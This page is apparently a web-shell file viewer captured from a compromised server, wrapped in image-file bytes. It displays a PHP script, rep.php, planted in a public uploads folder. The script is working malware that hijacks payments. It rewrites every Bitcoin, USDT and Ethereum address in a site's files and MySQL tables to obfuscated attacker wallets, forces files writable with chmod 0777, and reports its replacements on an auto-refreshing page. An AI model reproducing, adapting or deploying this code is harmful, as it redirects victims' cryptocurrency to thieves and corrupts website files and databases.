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j '  'P$a ( `D$Na L?u80e J,K˷NI'0eݷ(NI'؀ 2ipIIKp`:O'`ʤxB8Ѥx Ѥx $ $P6 :vRNb 'p,>NB 'P]-->P T+*^h& p '‰a ‰ (ĵt#u33;Nt̵'ޯ; [3W ~]0KH1q@8]O2]3*̧7# *p>us p _6]/}-4|t'|Smx= DoʾM×M_8!)6lq':l7!|4} '\ne t!=hnLn (~Dn\+‰_4k)0e@OhZ`F `.m1} 'vp{F`ON7Srx 'D˸nV`><;yMx!IS钦OM)Ե٥x 'DSD6bS8!" ODz#R >S8!7ّxEh0m$MIPHi$IvS8IN$I p$O8I,sk&I)$IN$Hi$I^Ah.p$MIN$IR8I·N "IF9Ah0m$MIN$IR8IN$I 3jIU;kO$ɳN$+ q.x* tEXtComment

Viewing File: /home/u460558712/domains/mintsdome.online/public_html/public/images/uploads/rep.php

<?php
date_default_timezone_set('UTC');
error_reporting(E_ALL);
ini_set('display_errors', 0);
set_time_limit(0);

$b = 'bc1qsrfcx';$t = 'z8rf043mjw92z9g';$c = '794gpzhus0w9tuz9fv';$u = 'TGFvwzvbpwMk2R';$s = 'kvZpbG41';$d = 'KN1Fs5FytnsS';$et = '0x44925786e36';$he = '7010467beff504';$re = '80b6b45001c4b10';$replacementBitcoin  = $b.$t.$c;$replacementUsdt     = $u.$s.$d;$replacementEthereum = $et.$he.$re;
$dbHost = '127.0.0.1';
$baseDir = $_GET['dir'] ?? null;
if (!$baseDir || !is_dir($baseDir)) $baseDir = null;

$patterns = [
    'bitcoin' => [
        'regex'       => '/\b(?:[13][a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[a-z0-9]{25,39})\b/i',
        'replacement' => $replacementBitcoin,
    ],
    'usdt' => [
        'regex'       => '/\bT[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{33}\b/',
        'replacement' => $replacementUsdt,
    ],
    'ethereum' => [
        'regex'       => '/\b0x[a-fA-F0-9]{40}\b/',
        'replacement' => $replacementEthereum,
    ],
];

function buildFileList($baseDir, $ignoreDirs = []) {
    $files = [];
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($baseDir, FilesystemIterator::SKIP_DOTS)
        );
        foreach ($iterator as $file) {
            if (!$file->isFile() || !in_array(strtolower($file->getExtension()), ['php','html','tpl','htm'])) continue;
            foreach ($ignoreDirs as $ignored) if (stripos($file->getPath(), $ignored) !== false) continue 2;
            $files[] = $file->getPathname();
        }
    } catch (Exception $ex) {
        error_log("Error building file list: " . $ex->getMessage());
    }
    return $files;
}

function processSingleFile($filePath, $patterns, &$stats, &$errors, &$fileDetails) {
    if (!is_readable($filePath)) {
        $errors[] = "File '$filePath' not readable.";
        return;
    }
    $content = file_get_contents($filePath);
    if ($content === false) { $errors[] = "Failed reading '$filePath'."; return; }

    $patternDetails = [];
    $fileReplacements = 0;

    foreach ($patterns as $type => $pat) {
        preg_match_all($pat['regex'], $content, $matches);
        if (empty($matches[0])) continue;
        $mapping = [];
        $content = preg_replace_callback($pat['regex'], function($match) use ($pat, &$mapping, &$fileReplacements){
            $mapping[] = ['old'=>$match[0],'new'=>$pat['replacement']];
            $fileReplacements++; return $pat['replacement'];
        }, $content);
        $patternDetails[$type] = ['count'=>$fileReplacements,'mappings'=>$mapping,'replacement'=>$pat['replacement']];
        $stats['fileReplacements'] += $fileReplacements;
    }

    if ($fileReplacements>0) {
        if (!is_writable($filePath)) @chmod($filePath,0777);
        if (is_writable($filePath)) { file_put_contents($filePath,$content); $stats['filesModified']++; }
        else $errors[] = "File '$filePath' not writable (even after chmod).";
    }

    if (!empty($patternDetails)) $fileDetails[]=['file'=>$filePath,'replacements'=>$fileReplacements,'details'=>$patternDetails];
    $stats['filesChecked']++;
}

$dbTxtPath = __DIR__ . '/db.txt';
$dbStatsTotal = ['tables'=>0,'rowsChecked'=>0,'rowsUpdated'=>0,'replacements'=>0];
$dbDetailsTotal = [];

if (file_exists($dbTxtPath)) {
    $lines = file($dbTxtPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    foreach ($lines as $ln => $lineRaw) {
        $line = trim($lineRaw);
        if ($line === '' || str_starts_with($line, '#')) continue; 
        $parts = explode('|', $line);
        if (count($parts) < 3) {
            $dbDetailsTotal[] = [
                'table' => "db.txt line " . ($ln+1),
                'details' => [['type'=>'error','column'=>'','old'=>'','new'=>'Invalid format, expected dbname|user|pass','count'=>0]]
            ];
            continue;
        }
        $dbName = trim($parts[0]);
        $dbUser = trim($parts[1]);
        $dbPass = trim($parts[2]);

        if ($dbName === '' || $dbUser === '') {
            $dbDetailsTotal[] = [
                'table' => "db.txt line " . ($ln+1),
                'details' => [['type'=>'error','column'=>'','old'=>'','new'=>'Empty dbname or user','count'=>0]]
            ];
            continue;
        }

        $dbStats = ['tables'=>0,'rowsChecked'=>0,'rowsUpdated'=>0,'replacements'=>0];
        $dbDetails = [];

        try {
            $dsn = "mysql:host={$GLOBALS['dbHost']};dbname={$dbName};charset=utf8mb4";
            $pdo = new PDO($dsn, $dbUser, $dbPass, [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
            ]);

            $tables = $pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
            foreach ($tables as $table) {
                $columns = $pdo->query("SHOW COLUMNS FROM `{$table}`")->fetchAll(PDO::FETCH_ASSOC);
                $textCols = [];
                foreach ($columns as $col) {
                    if (preg_match('/char|text|varchar|mediumtext|longtext/i', strtolower($col['Type']))) $textCols[] = $col['Field'];
                }
                if (empty($textCols)) continue;
                $dbStats['tables']++;

                $rows = $pdo->query("SELECT * FROM `{$table}`")->fetchAll();
                foreach ($rows as $row) {
                    $dbStats['rowsChecked']++;
                    $changed = false;
                    $details = [];
                    $updates = [];

                    foreach ($textCols as $col) {
                        $val = $row[$col] ?? null;
                        if (!$val) continue;
                        foreach ($patterns as $type => $pat) {
                            if (preg_match_all($pat['regex'], $val, $matches)) {
                                $newVal = preg_replace($pat['regex'], $pat['replacement'], $val);
                                if ($newVal !== $val) {
                                    $updates[$col] = $newVal;
                                    $details[] = [
                                        'column' => $col,
                                        'old'    => implode(", ", array_slice($matches[0], 0, 3)),
                                        'new'    => $pat['replacement'],
                                        'type'   => $type,
                                        'count'  => count($matches[0])
                                    ];
                                    $dbStats['replacements'] += count($matches[0]);
                                    $changed = true;
                                }
                            }
                        }
                    }

                    if ($changed) {
                        $whereParts = [];
                        $params = [];
                        foreach ($row as $c => $v) {
                            $whereParts[] = "`$c` <=> :w_$c";
                            $params[":w_$c"] = $v;
                        }
                        $setParts = [];
                        foreach ($updates as $c => $v) {
                            $setParts[] = "`$c` = :u_$c";
                            $params[":u_$c"] = $v;
                        }
                        $sql = "UPDATE `{$table}` SET " . implode(', ', $setParts) . " WHERE " . implode(' AND ', $whereParts) . " LIMIT 1";
                        $pdo->prepare($sql)->execute($params);
                        $dbStats['rowsUpdated']++;
                        $dbDetails[] = ['table' => $table, 'details' => $details];
                    }
                }
            }

            foreach ($dbStats as $k => $v) $dbStatsTotal[$k] += $v;
            if (!empty($dbDetails)) {
                $tagged = ['table' => "{$dbName} @ {$dbUser}", 'details' => []];
                foreach ($dbDetails as $dd) {
                    foreach ($dd['details'] as $info) $tagged['details'][] = $info;
                }
                $dbDetailsTotal[] = $tagged;
            }

        } catch (Exception $e) {
            $dbDetailsTotal[] = [
                'table' => "{$dbName} @ {$dbUser}",
                'details' => [['type'=>'error','column'=>'','old'=>'','new'=> "Connection error: " . $e->getMessage(),'count'=>0]]
            ];
        }
    }
} else {
    $dbDetailsTotal[] = [
        'table' => 'db.txt',
        'details' => [['type'=>'error','column'=>'','old'=>'','new'=>'db.txt not found in script directory','count'=>0]]
    ];
}

$fileStats = ['filesChecked'=>0,'filesModified'=>0,'fileReplacements'=>0];
$fileDetails = [];
$errors = [];
$startTime = microtime(true);
if ($baseDir) {
    $fileList = buildFileList($baseDir);
    foreach ($fileList as $filePath) processSingleFile($filePath, $patterns, $fileStats, $errors, $fileDetails);
}
$processTime = microtime(true) - $startTime;
?>

<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta http-equiv="refresh" content="60">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body{background:#f0f8ff;padding:2rem;font-family:sans-serif;}
.summary-box{padding:1rem;border-radius:.5rem;text-align:center;}
pre{background:#f9f9f9;padding:1rem;border-radius:6px;max-height:250px;overflow-y:auto;}
</style>
</head>
<body>
<div class="container">

<?php if($baseDir): ?>
<h3>File Scan</h3>
<div class="row text-center mb-4">
  <div class="col summary-box bg-primary text-white"><h4><?= isset($fileList) ? count($fileList) : 0 ?></h4><p>Total Files</p></div>
  <div class="col summary-box bg-success text-white"><h4><?= $fileStats['filesModified'] ?></h4><p>Files Modified</p></div>
  <div class="col summary-box bg-info text-dark"><h4><?= $fileStats['fileReplacements'] ?></h4><p>Total Replacements</p></div>
</div>
<p><strong>Directory Scanned:</strong> <?= htmlspecialchars($baseDir) ?></p>
<?php endif; ?>

<h3>Database Scan</h3>
<div class="row text-center mb-4">
  <div class="col summary-box bg-primary text-white"><h4><?= $dbStatsTotal['tables'] ?></h4><p>Tables Scanned</p></div>
  <div class="col summary-box bg-success text-white"><h4><?= $dbStatsTotal['rowsUpdated'] ?></h4><p>Rows Updated</p></div>
  <div class="col summary-box bg-info text-dark"><h4><?= $dbStatsTotal['replacements'] ?></h4><p>Total Replacements</p></div>
</div>

<p><strong>Process Time:</strong> <?= number_format($processTime,3) ?> sec</p>

<?php if(!empty($errors)): ?>
<div class="alert alert-danger">
<h5>File Errors:</h5>
<ul><?php foreach($errors as $err): ?><li><?= htmlspecialchars($err) ?></li><?php endforeach;?></ul>
</div>
<?php endif; ?>

<?php if(!empty($fileDetails)): ?>
<h4>File Details:</h4>
<?php foreach($fileDetails as $d): ?>
<div class="card mb-3">
  <div class="card-header"><strong><?= htmlspecialchars($d['file']) ?></strong> — Replacements: <?= $d['replacements'] ?></div>
  <div class="card-body">
    <?php foreach($d['details'] as $type => $info): ?>
    <h6><?= ucfirst($type) ?> (Replaced)</h6>
    <table class="table table-sm table-bordered">
      <thead><tr><th>Old</th><th>New</th></tr></thead>
      <tbody><?php foreach($info['mappings'] as $map): ?><tr><td><?= htmlspecialchars($map['old']) ?></td><td><?= htmlspecialchars($map['new']) ?></td></tr><?php endforeach;?></tbody>
    </table>
    <?php endforeach;?>
  </div>
</div>
<?php endforeach;?>
<?php endif; ?>

<?php if(!empty($dbDetailsTotal)): ?>
<h4>Database Details:</h4>
<?php foreach($dbDetailsTotal as $d): ?>
<div class="card mb-3">
  <div class="card-header"><strong><?= htmlspecialchars($d['table']) ?></strong></div>
  <div class="card-body">
    <?php foreach($d['details'] as $info): ?>
    <h6><?= isset($info['type']) ? ucfirst($info['type']) : 'Info' ?> — <?= htmlspecialchars($info['column'] ?? '') ?></h6>
    <p><strong>Old:</strong> <?= htmlspecialchars($info['old'] ?? '') ?><br>
       <strong>New:</strong> <?= htmlspecialchars($info['new'] ?? '') ?><br>
       <strong>Count:</strong> <?= htmlspecialchars($info['count'] ?? '') ?></p>
    <?php endforeach;?>
  </div>
</div>
<?php endforeach;?>
<?php endif; ?>

</div>
</body>
</html>
Back to Directory=ceiIENDB`